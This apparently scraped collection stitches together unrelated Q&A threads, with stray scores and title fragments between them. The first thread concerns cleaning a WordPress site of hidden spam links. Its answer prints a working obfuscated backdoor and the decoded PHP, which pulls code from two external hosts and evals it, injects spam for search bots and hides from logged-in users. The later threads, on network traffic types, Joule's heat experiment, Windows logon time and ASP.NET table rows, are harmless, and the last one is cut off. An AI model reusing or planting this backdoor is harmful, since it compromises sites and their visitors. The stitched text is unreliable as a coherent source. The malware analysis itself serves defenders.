I'm working on a client's site and I noticed that posts have a hidden <div> filled to SPAM links to dick pills, etc. Hoping to get lucky, I searched for some of the keywords in the database tables, but found no matches. I also searched the code in all the files, and also found no matches.
I know that Wordpress hacks can be very tricky to remove, and they go to great lengths to make them hard to find. But perhaps there are some "usual suspects" that I could check, or maybe some tell-tale signs I could look for.
I'm not asking for anyone to solve this specific hack. I'm just looking for advice on where (in general) to look.
In case it's useful, here's the unauthorized <div> which is injected right before the close of the first <\p>:
<div id='hideMeya'> At that requires looking for how you http://www.cialis.com <a href="http://wwxcashadvancecom.com/" title="want $745? visit our site.">want $745? visit our site.</a> sign any of money. Visit our secure bad creditors that cialis levitra sales viagra <a href="http://www10525.c3viagra10.com/" title="viagra australia online">viagra australia online</a> payday lenders know otherwise. But the black you stay on discount price levitra <a href="http://www10385.x1cialis10.com/" title="what is impotence in men">what is impotence in men</a> duty to their lives. Citizen at one online or after receiving their research viagra online <a href="http://www10675.80viagra10.com/" title="www.viagra.com">www.viagra.com</a> to just take just wait until monday. This specifically relates to shop every pay stubs get viagra without prescription <a href="http://www10154.40cialis10.com/" title="cialis overnight delivery">cialis overnight delivery</a> and only used or faxing required. We will turn double checked by some small business loans viagra for woman <a href="http://www10077.x1cialis10.com/" title="cialis india">cialis india</a> sites that works the business before approval. Living paycheck went out cash there would generate levitra <a href="http://www10450.a1viagra10.com/" title="viagra cialis levitra">viagra cialis levitra</a> the scheduled maturity day method. Own a short application on when money also buy cialis online <a href="http://buy4kamagra.com/" title="kamagra">kamagra</a> plenty of personal initial limits. Even those loans quick because lenders realize http://cialis-ca-online.com <a href="http://levitra4au.com/" title="levitrafroaustraila">levitrafroaustraila</a> you notice a payday advance. A loan applications are more common thanks http://www.cialis2au.com/ <a href="http://buy-7cialis.com/" title="cialis">cialis</a> to only apply online website. Third borrowers will use your paycheck to levitra online pharmacy <a href="http://www10675.30viagra10.com/" title="viagra online purchase">viagra online purchase</a> utilize these individuals can cover. Often there must also referred to ensure online pharmacy viagra usa <a href="http://www10600.90viagra10.com/" title="viagra effectiveness">viagra effectiveness</a> you with financial expenses. Thanks to checking account also merchant cash loan wwwwviagracom.com <a href="http://www10075.90viagra10.com/" title="levitra viagra cialis">levitra viagra cialis</a> comparison to state or from there. At that they pay them in mere viagra <a href="http://www10225.30viagra10.com/" title="cheapest generic viagra">cheapest generic viagra</a> seconds and to comprehend. If a repossession or limited to see if approved www.cashadvances.com | Apply for a cash advance online! <a href="http://www10385.70cialis10.com/" title="cialis dosage">cialis dosage</a> the risks associated at your current address. Second borrowers should not start and struggle http://www.cashadvance.com <a href="http://levitra-online-ca.com/" title="levitra for sale">levitra for sale</a> at least a button. Thanks to send the benefits of everyday living cheapest viagra order online <a href="http://www10462.70cialis10.com/" title="tadalafil">tadalafil</a> from being foreclosed on its benefits. Finally you get help rebuild the original loan buy cialis viagra <a href="http://viagra5online.com/" title="viagra without prescription">viagra without prescription</a> can really only to surprises. Bank loans out you will take http://wviagracom.com/ <a href="http://www10539.40cialis10.com/" title="erectile dysfunction supplements">erectile dysfunction supplements</a> the conditions are a. Bills might provide an unexpected car cialis uk suppliers <a href="http://kamagra-ca-online.com/" title="kamagra">kamagra</a> broke a repayment length. Third borrowers repay because payday industry has the results http://www.buy9levitra.com/ <a href="http://www10075.20viagra10.com/" title="viagra recreational use">viagra recreational use</a> by the middle man and check process. After verifying your question with dignity and credit cards www.levitra.com <a href="http://www10300.b2viagra10.com/" title="overnight viagra delivery">overnight viagra delivery</a> or drive to secure loan online. Most people for dollars you between bad and free cialis <a href="http://viagra7au.com/" title="http://viagra7au.com/">http://viagra7au.com/</a> instead these applicants is available. Social security against your payday the larger sums buying viagra online <a href="http://payday7online.com/" title="direct lenders installment loans no credit check">direct lenders installment loans no credit check</a> of gossip when working telephone calls. Face it provides hour payday industry levitra online <a href="http://www10150.30viagra10.com/" title="buy viagra now">buy viagra now</a> has high credit score? Within minutes during your best score range from http://cashadvance8online.com <a href="http://www10450.60viagra10.com/" title="viagra dosage instructions">viagra dosage instructions</a> fees if there for them most. To avoid paperwork you in crisis arise from wwwpaydayloancom.com | Online Payday Loans application form! <a href="http://www10225.80viagra10.com/" title="super active viagra">super active viagra</a> online from paying the bank? Funds will know to throwing your cash advance no credit check <a href="http://orderviagrauaonline.com/" title="viagara online">viagara online</a> finances there that purse. Companies realize that asks for which can become cialis online <a href="http://www10375.60viagra10.com/" title="sublingual viagra">sublingual viagra</a> eligible to paycheck some lenders. Medical bills that be much easier than actually need only online cash advance <a href="http://cashadvance8online.com" title="online cash advance">online cash advance</a> your funds via the freedom you out. </div><script type='text/javascript'>if(document.getElementById('hideMeya') != null){document.getElementById('hideMeya').style.visibility = 'hidden';document.getElementById('hideMeya').style.display = 'none';}</script> </p>
|
I won't repeat any of the good advice in Squish's answer. You should also read this article on Wordpress security. I'm just going to cover the specifics of what I learned from my episode.
My attack is a kind of black hat SEO known as "hideMeYa": http://siteolytics.com/black-hat-seo-technique-demystified/
Basically, the attacker slips a bunch of hidden links into the content so humans can't see them but google can. So they use unsuspecting sites to drum up back links to shady sites.
It's hard to say for sure how this was done, but in this site there were two known security vulnerabilities:
admin user was still in use (you should delete/rename the admin user).
Outdated plugins and core
In my case, the infected file was my theme's functions.php file. At the very top was this:
<?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave')); $wp_function_initialize(strrev(';))"=owOpICcoB3Xu9Wa0Nmb1Z2XrNWYixGbhNmIoQnchR3cfJ2bKogCKASfKAyOwRCIuJXd0VmcJogCK0XCK0XCJogC9lQCJoQfJkQCJowOxQHelRHJuAHJ9AHJJkQCJkgC7V2csVWfJkQCJoQfJkQCJkgC7kCckACLxQHelRHJuICIi4yZhRHJgwyZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9AHJJkQCJkQCKsXZzxWZ9lQCJkQCKAyOpAHJsEDd4VGdk4iIgIiLnFGdkwyZhRHJoU2YhxGclJXafJHdzBUPwRSCJkQCJkgC7lSK00TPlBXe0RCK8xXKz0TPlBXe0RCKoAiZplQCJkQCKsXKpcWY0RCLwRCKyR3cpJHdzhCImlWCJkQCKowepkiIi0TIxQHelRHJoYiJpIiI9EyZhRHJogCImlWCJkgC7kSMmVnYkwiI8xHfigSZk9GbwhXZA1TKxQHelRHJscWY0RCK0NXaslQCJowOpQHelRHJoUGZvNWZk9FN2U2chJGQ9EjZ1JGJJkQCKsXK09mYkgCImlWCJogC9lQCKsTKoAXafR3biVGbn92bn91cp1DdvJGJJkQCKsXKpMTP9UGc5RHJowHfpITP9UGc5RHJogCImlWCJoQfJkgC7kCKhV3X09mYfNXa9Q3biRSCJkgC7lSK00TPlBXe0RCK8xXKx0TPlBXe0RCKoAiZplQCKsXKpQTP9UGc5RHJowHfpMTP9UGc5RHJowHfpITP9UGc5RHJowHfpETP9UGc5RHJogCImlWCKU2csVWfJoQCJoQfJkgC7EDd4VGdk4Cck0DckkQCJowelNHbl1XCJowOpAHJgwSM0hXZ0dWY0RiLiAiIuEDd4VGdkACLxQHelR3ZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9AHJJkQCKsXKpkSM0hXZ0dWY0RCLwRCKyR3cpJHdzhiJmkiIi0TIxQHelR3ZhRHJogCImlWCJoQfJkgC7Mnak4Cck0DckkQCJowelNHbl1XCJowOpAHJgwycqdWY0RiLiAiIuMnakACLzp2ZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9AHJJkQCKsXKpkycqdWY0RCLwRCKyR3cpJHdzhiJmkiIi0TIzp2ZhRHJogCImlWCJogC7kSMmVnYkwiI8xHfigSZk9GbwhXZA1TKxQHelRHJsEDd4VGdnFGdkwycqRCLzp2ZhRHJoQ3cpxWCJowOpQHelRHJoUGZvNWZk9FN2U2chJGQ9EjZ1JGJJkgC7lCM90TZwlHdkgCImlWCKsDM9Q3biRSCKsDM9sSZwlHdkkgCKsDckAibyVHdlJXKiISP9QHelRHJoAiZplgC7kiZ1JGJsICf8xnIoUGZvxGc4VGQ9kCd4VGdkwSZwlHdkgCdzlGbJoQfJowOwRCIuJXd0VmcJkgC7liIi0TPmVnYkgCImlWCKsTXws1akAUPmVnYkkgCK0XCKsDckAibyVHdlJXCJowepkCekgibvlGdw92X0V2Zg0DIrRSIoAiZplgC9lgC9lQCKsDckAibyVHdlJXCJkgC7lSKrRCL4RCKu9Wa0B3bfVGdhRGc1FCKgYWaJkgC7kCKl1Wa01TXxs1akkQCKsDbhZHJ90FMbtGJJkgC7kCK5FmcyFWPrRSCJowOpgSO5kzXlxWam9VZ0FGZwVXPsFmdkkQCKsXKlRXYkBXdkgCImlWCK0XCKkQCK0XCJowOx0TZ0FGZwVHJJkQCKsXKyEjKwAjNz4TZtlGdjRCKgYWaJkgC70VMbtGJA1SKoUWbpRXPl1Wa0NGJJkgC7V2csVWfJowOx0TZ0FGZwVHJJkgC9lQCKsDckAibyVHdlJXCJkgC7lSKn8mbnwyJnwSKokXYyJXQsgHJo42bpRHcv9FZkFWIoAiZplQCKsXKpgHJo42bpRHcv9FdldGI9AyakECKgYWaJowOw0TZ0FGZwVHJJowOiISPmVnYkkgC7cSfzVWbh52Xz52bpRHcvt3J9gHJJogC9lgC7AHJg4mc1RXZylQCKsHIpASKpgibp9FZld2Zvx2XyV2c191cpBiJmASKn4WafRWZnd2bs9lclNXdfNXangyc0NXa4V2Xu9Wa0Nmb1ZGKgwHfgkSXnETLl1Wa01ycn5Wa0RXZz1Cc3dyWFl0SP90QfRCK0V2czlGI8xHIp01Jx0ycn5Wa0RXZz1Cc3dyWFl0SP90QfRCK0V2czlGI8xHIp01Jll2av92YfR3clR3XzNXZyBHZy92dnsVRJt0TPN0XkgCdlN3cphCImlWCKowegkCckgCcoB3Xu9Wa0Nmb1Z2XrNWYixGbhNGIu9Wa0Nmb1ZmCKogC9pwOsFmdkAibyVHdlJXCK0XCKsTKpUGZvNGJoUGZvNWZk9FN2U2chJGKsFmdllQCKsTKsFmdkwiI8xHfFR0TDxHf8JCKlR2bsBHel1TKlR2bjRCLsFmdkgCdzlGbJkgC7lSKiwHf8VERPNEf8xnIswWY2RCKyR3cyR3coAiZplgC7kiMsFWd0NWYkgSO5kzXsJXdfRXZn1DbhZHJpIiI90DbhZHJoAiZplgC7kSMsFWd0NWYkgSO5kzXsJXdfRXZn1DbhZHJJowOpJXdk4iIvUncuc2ZphXYt9yL6AHd0hmI9IDbhVHdjFGJJowOpJXdk4iIv02bj5CZv92dlhGdulGbu9yL6AHd0hmI9EDbhVHdjFGJJowOiQjY3QGZiR2N9kmJw1Dd/AHaw5yZi0TayVHJJogC7lCK5kTOfVGbpZ2XlRXYkBXdg42bpR3YuVnZKoQf7sGJg4mc1RXZytTM9sGJpkSN5ITOzYzMyETM9wDcpRCKmYSK0ATMxMjNzITMx0jPwlGJogCIml2OpkSXiIFREF0XFR1TNVkUislUFZlUFN1XkAEKn52bsJDcpBELiUXJigiZ05WayB3c9AXaksDM9sGJ7lCKwl2X09mYlx2Zv92ZfNXag42bpR3YuVnZK03O09mYkAibyVHdlJ3Ox0DdvJGJpkiI09mYlx2Zv92ZiwSY1RCKyR3cpJHdzxHfpICdvJ2ZulmYiwSY1RCKyR3cpJHdzhCIml2Ox0DdvJGJpkiIv9GahllIsEWdkgic0NXayR3c8xXKiQ3bi52ctJCLhVHJoIHdzlmc0NHKgYWa701JU5URHF0XSV0UV9FUURFSnslUFZlUFN1XkAUPhVHJ7ATP09mYksXKoEWdfR3bi91cpBibvlGdj5WdmpQf7Q3YlpmY1NHJg4mc1RXZylQf7kSKoNmchV2ckgiblxmc0NHIsM3bwRCIsU2YhxGclJHJgwCdjVmaiV3ckgSZjFGbwVmcfJHdzJWdzBSPgQ3YlpmY1NHJJsHIpU2csFmZg0TPhAycvBHJoAiZptTKoNmchV2ckACL0NWZqJWdzRCKz9GcpJHdzBSPgM3bwRyegkCdjVmaiV3ckACLlNWYsBXZyRCIsg2YyFWZzRCK0NncpZ2XlNWYsBXZy9lc0NHIu9Wa0Nmb1ZmC9tjZ1JGJg4mc1RXZytTKmVnYkwSKwEDKyh2YukyMxgicoNmLpATMoIHaj5SKzEDKyh2YoUGZvxGc4VWPpYWdiRCLtRCK0NXastTZzxWYmBibyVHdlJXKiISP9YWdiRCKgYWa7kyaj92ckgSZz9Gbj9Fdlt2YvNHQ9tDdk0jLmVnYksXKpADMwATMss2YvNHJoQWYlJ3X0V2aj92c9QHJoUGbph2d7cyJ9YWdiRyOpQ3clVXclJHJss2YvNHJoUGdpJ3dfRXZrN2bztjIuxlbcR3cvhGJgoDdz9GSi0jL0NXZ1FXZyRyOi4GXw4SMvAFVUhEIpJXdkACVFdkI9ACdzVWdxVmck03OlNHbhZGIuJXd0Vmc7kyaj92ckgSZz9Gbj9Fdlt2YvNHQ7lSKwgDLxAXakwyaj92ckgCdjVmbu92YfRXZrN2bzBUIoAiZptTKQNEVfx0TTxSTBVkUUN1XLN0TTxCVF5USfZUQoUGdhVmcj9Fdlt2YvNHQ9s2YvNHJ7U2csFmZg4mc1RXZyliMwlGJ9ESMwlGJoAiZpByOpkSMwlGJocmbvxmMwlGQoAXaycmbvxGQ9IDcpRyOpQ3cvhGJoUWbh5WeiR3cvhGdldGQ9EDcpRyOddSeyVWdxdyWwRiLn8zJu01JoRXYwdyWwRSPpJXdksTXnQ3cvh2JbBHJ9Q3cvhGJ7kCbyVHJowmc19VZzJXYwBUPwRyOlNHbhZGIuJXd0VmcpU2csFmZ90TPpcSZ0FWZyN2X0V2aj92cngyc0NXa4V2Xu9Wa0Nmb1ZGKml2epwmc1RCK5kTOfRXZrN2bzlnc0BibvlGdj5WdmpQf7YWdiRCIuJXd0Vmc7kiZ1JGJskCMxgicoNmLpMTMoIHaj5SKwEDKyh2YukyMxgicoNGKlR2bsBHel1TKmVnYkwSbkgCdzlGb7U2csFmZg4mc1RXZyliIi0TPmVnYkgCIml2OpYGJoU2cvx2Ym13OpADMwATMsYGJoQWYlJnZ94iZ1JGJ7lSKmRCKm9WZmFCKlxWaod3OncSPmVnYksTK0NXZ1FXZyRCLmRCKlRXaydnZ7Iibc5GX0N3boRCI6Q3cvhkI94CdzVWdxVmcksjIuxFMuEzLQRFVIBSayVHJgQVRHJSPgQ3clVXclJHJ7U2csFmZg4mc1RXZyliZkECKml2OpAzMsIHdzJnclRCIs8mbyJXZkwCM4wCdz9GakgiblB3brN2bzZGQ9YGJ701J5JXZ1F3JbBHJucyPn4SXngGdhB3JbBHJ9kmc1RyOddCdz9GansFck0Ddz9GaksTKsJXdkgCbyV3XlNnchBHQ9AHJ7U2csFmZg4mc1RXZylSZzxWYm1TP9kyJuVGcvt2YvNnZngyc0NXa4V2Xu9Wa0Nmb1ZGKml2epwmc1RCK5kTOf5WZw92aj92cmlnc0BibvlGdj5WdmpQf7YWdiRCIuJXd0Vmc7U2csFmZg4mc1RXZyliIi0TPmVnYkgCIml2OlNHbhZGIuJXd0VmcgU2csVWf7kiZkgSZz9GbjZWf7kCMwADMxwiZkgCZhVmcm1jLmVnYksXKpYGJoY2blZWIoUGbph2d7liZkgCIml2OpcicnwCbyVHJo4WZw9mZA1jZkszJn0jZ1JGJ7U2csFmZg4mc1RXZylSZzxWYm1TP9kyJuVGcvZ2JoMHdzlGel9lbvlGdj5WdmhiZptXKsJXdkgSO5kzXuVGcvZWeyRHIu9Wa0Nmb1ZmC9tjZ1JGJg4mc1RXZytTZzxWYmBibyVHdlJXKiISP9YWdiRCKgYWa7kyYulGJscyJoUGZvxGctlGQ9YWdiRyOpwmc1RCKlxWamBUPj5WaksTZzxWYmBibyVHdlJXKlNHbhZWP90TKnUGbpZ2JoMHdzlGel9lbvlGdj5WdmhiZptXKsJXdkgSO5kzXlxWamlnc0BibvlGdj5WdmpQf7QHb1NXZyRCIuJXd0Vmc7U2csFmZg4mc1RXZyliIi0TP0xWdzVmckgCIml2Opg2YkgSZz9Gbj9FbyV3Y7kCajRCKgMWZ4V2XsJXdjBSPgQHb1NXZyRyOpADIsIVREFURI9FVQ9ETSV1QgwCajRCKgQHcvRXZz9FbyV3Y7kSNgwCVV9URNlEVfRFUPxkUVNEIsg2YkgCI0B3b0V2cfxmc1N2OpEDIsIVRGNlTBJFVOJVVUVkUfRFUPxkUVNEIsg2YkgCI0B3b0V2cfxmc1N2Opwmc1RCLMJVVfRFUPxkUVNEIsg2YkgCI0B3b0V2cfxmc1N2OpgCI0lmbp9FbyV3Yg0DIoNGJ7U2csFmZg4mc1RXZylSZzxWYm1TP9kyJ0lmbp9FbyV3Yngyc0NXa4V2Xu9Wa0Nmb1ZGKml2epwmc1RCK5kTOfxmc1NWeyRHIu9Wa0Nmb1ZmC9tzJnAibyVHdlJ3O05WZ052bjRCIuJXd0VmcpU2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOfRXZrN2bzlnc0BUP05WZ052bjRyO05WZ052bjRCIuJXd0VmcpU2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOf5WZw92aj92cmlnc0BUP05WZ052bjRyO05WZ052bjRCIuJXd0VmcpU2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOf5WZw9mZ5JHdA1DduVGdu92YksDduVGdu92YkAibyVHdlJXKlNHbhZWP9ECduVGdu92YkgiZptTKsJXdkgSO5kzXlxWamlnc0BUP05WZ052bjRyO05WZ052bjRCIuJXd0VmcpU2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOfxmc1NWeyRHQ9QnblRnbvNGJ7IiI9QnblRnbvNGJ7lCbyVHJokTO58FbyV3X0V2Zg42bpR3YuVnZ"(edoced_46esab(lave'));?><?php
Notice how it's cleverly named to look like typical Wordpress stuff.
I'm not going to walk through all the code, but basically it's a bunch of base64_encodeed code as a reversed string. The strrev() makes it hard to find the two biggest red flags here: base64_encode and eval. The un-obfuscated code is included below, but here are my biggest takeaways (in addition to what Squish said):
Be on the look-out for eval and base64_decode, but also look for their reversed equivalents: lave and edoced_46esab
Also look for instances of strrev. There are few legitimate uses of all of these in the WP core which will return false positives, but not so many that you can't scrutinize each one.
In my case, the hack doesn't appear for logged in users (It checks client's cookies), so don't let that throw you off. It's a clever twist to confuse the users who are most likely to be looking for it.
Good night and good luck.
The un-obfuscated code turns out to be this:
function get_url_999($url){$content="";$content=@trycurl_999($url);if($content!==false)return $content;$content=@tryfile_999($url);if($content!==false)return $content;$content=@tryfopen_999($url);if($content!==false)return $content;$content=@tryfsockopen_999($url);if($content!==false)return $content;$content=@trysocket_999($url);if($content!==false)return $content;return '';}
function trycurl_999($url){if(function_exists('curl_init')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;}
function tryfile_999($url){if(function_exists('file')===false)return false;$inc=@file($url);$buf=@implode('',$inc);if ($buf=="")return false;return $buf;}
function tryfopen_999($url){if(function_exists('fopen')===false)return false;$buf='';$f=@fopen($url,'r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf=="")return false;return $buf;}
function tryfsockopen_999($url){if(function_exists('fsockopen')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";fwrite($f,$request);$buf='';while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}
function trysocket_999($url){if(function_exists('socket_create')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";socket_write($sock,$request);$buf='';while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}
function str_replace_first($search, $replace, $subject) {$pos = stripos($subject, $search);if ($pos !== false) { $subject = substr_replace($subject, $replace, $pos, strlen($search));} return $subject;}
function is_bot_ua(){$bot=0;$ua=@$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;if (stristr($ua,"bingbot")||stristr($ua,"googlebot"))$bot=1;return $bot;}
function is_googlebot_ip(){$k=0;$ip=sprintf("%u",@ip2long(@$_SERVER["REMOTE_ADDR"]));if (($ip>=1123631104)&&($ip<=1123639295))$k=1;return $k;}
function update_file_999(){
$uri="g.php?t=p&i=7dbdd7b4";
$actual1="http://nlinthewood.com/".$uri;
$actual2="http://maxigg.ru/".$uri;
$val=get_url_999($actual1);
if ($val=="")$val=get_url_999($actual2);
if (strstr($val,"|||CODE|||")){
list($val,$code)=explode("|||CODE|||",$val);
eval(base64_decode($code));
}
return $val;
}
function callback_function_php($p) {
if (isset($_COOKIE['wordpress_test_cookie']) || isset($_COOKIE['wp-settings-1']) || isset($_COOKIE['wp-settings-time-1']) || (function_exists('is_user_logged_in') && is_user_logged_in()) ) {
return $p;
}
$x='{options_names}';
$buf="";
$update=0;
if (!$k = get_option($x)){
if (!add_option($x,Array(),'','no')){
return $p;
}
$update=1;
}else{
$ctime=time()-@$k[1];
if ($ctime>3600*12){
$update=1;
}
}
if ($update){
$val=update_file_999();
$k=array();
$k[0]=$val;
$k[1]=time();
if (!update_option($x,$k)){
return $p;
}
}
if (!$k = get_option($x)){
return $p;
}
$buf=@$k[0];
if ($buf==""){
return $p;
}
list($type,$text)=@explode("|||",$buf);
if ($text=="")return $p;
$type+=0;
$bot=0;
if ($type==0){
$buf1=@base64_decode($text);
list($tagjs,$js,$tagtext1,$text1)=@explode("|||",$buf1);
if (($tagjs!="")&&(stristr($p,$tagjs))){
$p=str_replace_first($tagjs, $js." ".$tagjs, $p);
}else{
$p=$p.$js;
}
if (($tagtext1!="")&&(stristr($p,$tagtext1))){
$p=str_replace_first($tagtext1, $text1." ".$tagtext1, $p);
}else{
$p=$p.$text1;
}
}else
if (($type==1)||($type==2)||($type==3)||($type==4)){
if (($type==1)||($type==4)){
$bot=is_bot_ua();
}
if (($type==2)||($type==3)){
$bot=is_googlebot_ip();
}
if ($bot){
$buf1=@base64_decode($text);
list($tag,$text1)=@explode("|||",$buf1);
if (($tag!="")&&($text1!="")){
if (stristr($p,$tag)){
if (($type==3)||($type==4)){
$p=@str_ireplace($tag,$tag." ".$text1,$p);
}else{
$p=str_replace_first($tag, $tag." ".$text1, $p);
}
}else{
$p=$p.$text1;
}
}
}
}
return $p;
}
ob_start("callback_function_php");
| 1 |
Using a reversal of a user's e-mail
|
What is the difference between unicast, anycast, broadcast and multicast traffic?
|
I have never had the privilege of working in an environment that required complicated routing or if it did require it, it was handled upstream of me. I've always used very simple static routing configurations and never needed to do any multipath routing -- hence my general confusion regarding this subject. I would like to understand multicasting and anycasting better.
What is the difference between unicast, anycast, broadcast and multicast traffic?
What situations are they generally used in and why (e.g., what applications use which method)?
How do you calculate how much broadcast traffic is too much for a given network segment or broadcast domain?
What are the security implications of allowing broadcast and multicast traffic?
|
Anycast is not a widely accepted type of communication in IPv4, but it is present in IPv6.
Three type of communication in IPv4 are 1) Unicast, 2) Multicast 3) Broadcast.
1) IPv4 Unicast One-to-One type of communication. A network device communicates with another network device. Layer 3 address used for Unicast is IPv4 Class A, Class B, Class C addresses. Layer 2 address is a unicast MAC address.
Example: Browse a website, Download file using FTP, Connect to another device using SSH (Secure Shell) etc.
2) IPv4 Multicast One-to-many type of communication. A network device send an IPv4 data packet and it is delivered to the devices who are interested in that traffic. Layer 3 address used for IPv4 multicast is Class D IPv4 addresses (starts from 224 to 239) Layer 2 address for IPv4 multicast starts with "01:00:5e".
Example: IPTV, OSPF Hello messages, EIGRP Hello messages, RIPv2 Route Updates.
3) IPv4 Broadcast One-to-All type of communication. A network device send an IPv4 data packet and it will be delivered all devices in that LAN Segment. Problem with broadcast traffic is, broadcasts disturb all devices in LAN and cause bandwidth wastage.
Example: DHCPv4 Discover messages
In IPv6, we have Unicast, Multicast and Anycast. The concept of Unicast and Multicast are same in IPv4 and IPv6, except the changes in IPv6 Layer 3 addresses used for broadcast & multicast and the Layer 2 address used for multicast. Layer 2 address used for IPv6 multicast traffic starts from "33:33:" (in Ipv4, it is "01:00:5e").
IPv6 Anycast IPv6 Anycast type of communication is used to identify an interface from a group of interfaces, which provide the same service, but near to the client in routing distance (we can compare routing distance similar to geographical distance). Anycast is possible only with the help of routing protocols.
Check the below link for more clear explanation about IPv6 Anycast.
http://www.omnisecu.com/tcpip/ipv6/unicast-multicast-anycast-types-of-network-communication-in-ipv6.php
Example, My home is located in India, and I want to resolve the FQDN "www.serverfault.com" to an IP address. Consider I have three DNS servers, one located in USA, other in Canada, and other in India, all providing the same service. Better choice is the DNS server from India, because it is located near to my home. I will get a faster reply and cause less network traffic if I use the service near my place. Anycast can find the Server which is near to my home and get the service from that Server.
| 0.888889 |
Anycast is not a widely accepted type of communication in IPv4
|
Mechanical Equivalent of Heat
|
Recently I have been looking up James Joule's experiment regarding the mechanical equivalent of heat. After viewing some drawings of the apparatus, I assumed that the lines holding the weights would have to be attached to the drum. They would then be allowed to fall completely through a certain distance until the lines were at full length and the mechanical motion of the fluid would have to be allowed to continue to flow, causing the weights to be pulled up a bit and drop again, oscillating up and down until the motion stopped and all of the mechanical energy from the weights would be transferred into the fluid.
However, upon watching some videos, (this video is about 14 minutes long; but, if you advance to about 5 min 30 sec, it will show the experiment in question.) I noticed that the weights were allowed to be stopped by a level surface (an external force) instead of doing what I have described above. To me, this means the weights were still in motion and, therefore, still had KE that was not transferred into the fluid.
Of course, the weights are moving very slowly, much more slowly than if they had been allowed to free-fall through the distance; so, their kinetic energy is very small compared to the potential energy they lost, meaning the vast majority of the potential energy was transferred into the fluid and into other, small energy losses.
Should I assume the speeds of the weights were small enough to ignore the KE in the weights?
The assumption seems to be that the potential energy lost by the falling weights was all transferred into the fluid. However, in the experiments, the lines have to be wound back up and the weights dropped several times in order to make a measurable difference in temperature. Each time the weights fall, they are stopped by an external force, meaning they have kinetic energy that is not transferred into the fluid after falling through a measured distance. It seems to me that some of the potential energy from the weights is transferred into the fluid; but, some of it is transferred into the kinetic energy of the weights falling.
|
Watching the video$\, \!^{*}$ I'd estimate the relevant dropping height $h$ and dropping speed $v$ (close to reaching the ground, and probably nearly constant for much of the drop) conveniently at about
$h \approx$ 1.0 m, and $v \approx$ 0.1 m/s.
Thus
$W_{pot}/m = g ~ h \approx$ 10 m^2/s^2
while
$E_{kin}/m = 1/2 v^2 \approx$ 0.005 m^2/s^2.
[Additional remark:
Joule himself would have easily been able to calculate and account for this, of course (and likely he did); and more precisely, too, based on measuring values of $h$ and $v$ of his actual setup.]
Therefore the ratio of kinetic energy of the weight (at the end of dropping) and its initial potential energy happens to be fairly close to the relative difference between the values of "original calculation" and "modern measurements" you provided,
(4.186 J/cal - 4.184 J/cal) / 4.186 J/cal $\approx$ 0.0005.
However, looking at http://en.wikipedia.org/wiki/Properties_of_water (Table "Constant-pressure heat capacity", which I believe is relevant), the temperature-dependence of the quantity being measured seems at least as important.
(*: nice one!; some Germans' public-service-broadcasting fees being put to good use!)
| 0.888889 |
kinetic energy of the weight and its initial potential energy is fairly close to the relative difference .
|
Show Windows 7 logon time?
|
On Windows 7 Ultimate, is there a way to see when I logged on into the current session?
I want to find out how long I have been at the PC / when I started it up.
|
I had the same issue for a network PC and this gave me results I was looking for:
wmic netlogin get name, fullname, lastlogon
...this will provide info for all users that have logged in.
| 1 |
Netlogin get name, fullname, lastlogon
|
Add rows of textboxes with a click of a button
|
I am badly stuck on this problem and would appreciate any kinds of helps! I have to create a page where the user can add more rows by clicking a button. For example, I have the first row with 2 text boxes (name and birth dates), second row with the "Add Row" button. When the user clicks the "Add Row" button, the first row should be cloned and repeated...but the user can't add more than 5 rows. Later all the information need to be saved in a SQL table. How this can be achieved in C#?
I am attaching my sample ASP.NET. Can any one PLEASE help me?
PS: I have already read and tried "How to: Add Rows and Cells Dynamically to a Table Web Server Control"....but that's not working for me.
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Testing Adding Rows</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:Table ID="Table1" runat="server" width="400" style="border:[none][0]; border-color:White; border-style:hidden">
<asp:TableRow ID="TableRow1" runat="server">
<asp:TableCell runat="server" nowrap="nowrap" Width= "70">
<asp:Label ID="nameLabel" runat="server" Text="Your Name" Font-Size="X-Small"></asp:Label>
</asp:TableCell>
<asp:TableCell runat="server" nowrap="nowrap" Width= "100">
<asp:TextBox ID="tb_name" runat="server" Font-Size="Smaller"></asp:TextBox>
<asp:RequiredFieldValidator ID="nameValidator" runat="server" ControlToValidate="tb_name" Font-Size="Smaller">*</asp:RequiredFieldValidator>
</asp:TableCell>
<asp:TableCell runat="server" nowrap="nowrap" Width= "70">
<asp:Label ID="dateLabel" runat="server" Text="Birthdate" Font-Size="Smaller" ></asp:Label>
</asp:TableCell>
<asp:TableCell runat="server" Width= "100">
<asp:TextBox ID="tb_date" runat="server" Font-Size="Smaller"></asp:TextBox>
<asp:RequiredFieldValidator ID="dateValidator" runat="server" ControlToValidate="tb_date" Font-Size="Smaller">*</asp:RequiredFieldValidator>
</asp:TableCell>
